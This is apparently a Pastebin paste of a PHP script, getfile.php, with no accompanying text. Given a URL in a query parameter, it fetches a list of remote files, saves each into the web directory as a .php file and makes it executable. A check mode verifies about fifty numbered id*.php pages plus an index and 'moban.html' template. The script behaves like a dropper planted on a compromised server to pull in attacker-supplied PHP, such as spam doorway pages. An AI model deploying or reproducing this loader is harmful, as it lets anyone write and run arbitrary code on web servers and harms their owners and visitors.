PalmaSolutions

getfile.php

Apr 7th, 2018
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.56 KB | None | 0 0
  1. <?php
  2.  
  3. @set_time_limit(0);
  4. @ini_set('display_errors', 1);
  5. if(isset($_GET['use']) && $_GET['use'] == '2')
  6.     define('USEFUNCTION',2);
  7. if(isset($_GET['use']) && $_GET['use'] == '3')
  8.     define('USEFUNCTION',3);
  9. else
  10.     define('USEFUNCTION',1);
  11.  
  12.  
  13. if(isset($_GET['check'])){
  14.    
  15. $file[] =  'id0.php';
  16. $file[] =  'id1.php';
  17. $file[] =  'id2.php';
  18. $file[] =  'id3.php';
  19. $file[] =  'id4.php';
  20. $file[] =  'id5.php';
  21. $file[] =  'id6.php';
  22. $file[] =  'id7.php';
  23. $file[] =  'id8.php';
  24. $file[] =  'id9.php';
  25. $file[] =  'id10.php';
  26. $file[] =  'id11.php';
  27. $file[] =  'id12.php';
  28. $file[] =  'id13.php';
  29. $file[] =  'id14.php';
  30. $file[] =  'id15.php';
  31. $file[] =  'id16.php';
  32. $file[] =  'id17.php';
  33. $file[] =  'id18.php';
  34. $file[] =  'id19.php';
  35. $file[] =  'id20.php';
  36. $file[] =  'id21.php';
  37. $file[] =  'id22.php';
  38. $file[] =  'id23.php';
  39. $file[] =  'id24.php';
  40. $file[] =  'id25.php';
  41. $file[] =  'id26.php';
  42. $file[] =  'id27.php';
  43. $file[] =  'id28.php';
  44. $file[] =  'id29.php';
  45. $file[] =  'id30.php';
  46. $file[] =  'id31.php';
  47. $file[] =  'id32.php';
  48. $file[] =  'id33.php';
  49. $file[] =  'id34.php';
  50. $file[] =  'id35.php';
  51. $file[] =  'id36.php';
  52. $file[] =  'id37.php';
  53. $file[] =  'id38.php';
  54. $file[] =  'id39.php';
  55. $file[] =  'id40.php';
  56. $file[] =  'id41.php';
  57. $file[] =  'id42.php';
  58. $file[] =  'id43.php';
  59. $file[] =  'id44.php';
  60. $file[] =  'id45.php';
  61. $file[] =  'id46.php';
  62. $file[] =  'id47.php';
  63. $file[] =  'id48.php';
  64. $file[] =  'id49.php';
  65. $file[] =  'index.php';
  66. $file[] =  'moban.html';
  67.  
  68.  
  69. foreach($file as $values){
  70.     if(file_exists($values)){
  71.             $handle = fopen($values,'rb');
  72.  
  73.             $rdSIze = filesize("./".$values);
  74.             $tempStr = fread($handle, $rdSIze);
  75.             fclose($handle);
  76.             if(strstr($tempStr,'//file end')){
  77.                 echo "<div style='color:#216AEA;font-weight:bold;'>$values has successed!</div><br/>";
  78.                 @chmod($values,0744);
  79.             }else{
  80.                 echo "<div style='color:red;font-weight:bold;'>file $values must be reload!</div><br/>";
  81.             }
  82.             unset($tempStr);
  83.    
  84.     }else{
  85.         echo "<div style='color:red;font-weight:bold;'>file $values not found!</div><br/>";
  86.     }
  87. }
  88.  
  89. die();
  90.  
  91. }
  92.  
  93.  
  94.  
  95. $url = $_GET['urls'];
  96.  
  97. if(!trim($url)){
  98.     die("error!");
  99. }
  100.  
  101.        
  102.    
  103. $str = curl_get_from_webpage($url);
  104.  
  105. if(!$str)
  106.     die("error 2!");
  107.  
  108. $fileNameArr = array();
  109. $arrFile = explode(PHP_EOL, $str);
  110. if(count($arrFile) < 2){
  111.     $arrFile = explode("http://", $str);
  112.     foreach($arrFile as $key => $values){
  113.         if(trim($values)){
  114.             $arrFile[$key] = "http://" . trim($values);
  115.         }
  116.     }
  117. }
  118.  
  119. foreach($arrFile as $values){
  120.     $values = trim($values);
  121.     if($values){
  122.        
  123.         $fileName = @str_replace(".txt",".php",end(explode("/",$values)));
  124.  
  125.  
  126.         if(file_exists("./".$fileName)){
  127.            
  128.             $handle = fopen("./".$fileName,'rb');
  129.  
  130.             $rdSIze = filesize("./".$fileName);
  131.             $tempStr = fread($handle, $rdSIze);
  132.             fclose($handle);
  133.    
  134.             if(strstr($tempStr,'//file end')){
  135.                 echo "<div style='color:#216AEA;font-weight:bold;'>$fileName has successed!</div><br/>";
  136.                 @chmod("./".$fileName,0744);
  137.                 unset($tempStr);
  138.                 continue;
  139.             }
  140.             unset($tempStr);
  141.  
  142.         }
  143.  
  144.        
  145.         $getStr = curl_get_from_webpage_one_time($values);
  146.         if(!trim($getStr)){
  147.             echo "<div style='color:red;font-weight:bold;'>file $values is empty!</div><br/>";
  148.             continue;
  149.         }
  150.        
  151.        
  152.            
  153.         if($fileName){
  154.             $fileNameArr[] = $fileName;
  155.             file_put_contents($fileName, $getStr);
  156.             @chmod($fileName,0744);
  157.         }
  158.     }
  159. }
  160.  
  161. foreach($fileNameArr as $values){
  162.     if(file_exists($values)){
  163.         echo "<div style='color:green;font-weight:bold;'>get $values success!</div><br/>";
  164.     }else{
  165.         echo "<div style='color:red;font-weight:bold;'>get $values success fail!</div><br/>";
  166.     }
  167. }
  168. die();
  169.  
  170. function curl_get_from_webpage($url,$proxy='',$loop=10){
  171.     $data = false;
  172.         $i = 0;
  173.         while(!$data) {
  174.              $data = curl_get_from_webpage_one_time($url,$proxy);
  175.              if($i++ >= $loop) break;
  176.         }
  177.     return $data;
  178. }
  179.  
  180. function curl_get_from_webpage_one_time($url,$proxy='',$tms=0){
  181.       $data = false;
  182.   if(USEFUNCTION == 1){
  183.         $curl = curl_init();   
  184.         curl_setopt($curl, CURLOPT_URL, $url);
  185.         curl_setopt($curl, CURLOPT_HEADER, false);
  186.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  187.         $data=curl_exec($curl);
  188.         curl_close($curl);
  189.  
  190.   }else if(USEFUNCTION == 2){
  191.         $data = @file_get_contents($url);
  192.   }
  193.   else if(USEFUNCTION == 3){
  194.     $ch = curl_init($url);
  195.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //返回数据不直接输出
  196.     curl_setopt($ch, CURLOPT_ENCODING, "gzip"); //指定gzip压缩
  197.     $data = curl_exec($ch); //执行并存储结果
  198.     curl_close($ch);
  199.   }
  200.  
  201.   return $data;
  202. }
Advertisement
Add Comment
Please, Sign In to add comment